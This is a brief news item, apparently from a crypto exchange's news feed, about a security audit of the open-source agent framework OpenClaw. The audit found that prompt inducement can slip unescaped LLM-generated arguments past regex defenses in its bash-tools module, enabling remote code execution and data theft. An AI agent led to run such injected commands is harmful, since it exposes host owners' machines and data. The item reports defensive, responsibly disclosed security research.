Gate News: On March 16, the China Academy of Information and Communications Technology (CAICT), in collaboration with a joint team from Shanghai Jiao Tong University and Nanjing University, conducted a security audit of the open-source autonomous intelligent agent framework OpenClaw. They discovered a high-risk command injection vulnerability in the bash-tools module driven by large language models (LLMs). The vulnerability stems from the system not properly escaping command-line arguments generated by LLMs. Attackers can exploit a prompt inducement to bypass regex defenses, enabling remote code execution on the host machine and theft of sensitive data. The research team has verified the attack across various mainstream model environments, initiated a responsible vulnerability disclosure process, and submitted remediation suggestions to the NVDB AI Product Security Vulnerability Database (CAIVD) and the GitHub community.
Disclaimer: The information on this page may come from third parties and does not represent the views or opinions of Gate. The content displayed on this page is for reference only and does not constitute any financial, investment, or legal advice. Gate does not guarantee the accuracy or completeness of the information and shall not be liable for any losses arising from the use of this information. Virtual asset investments carry high risks and are subject to significant price volatility. You may lose all of your invested principal. Please fully understand the relevant risks and make prudent decisions based on your own financial situation and risk tolerance. For details, please refer to
Disclaimer.
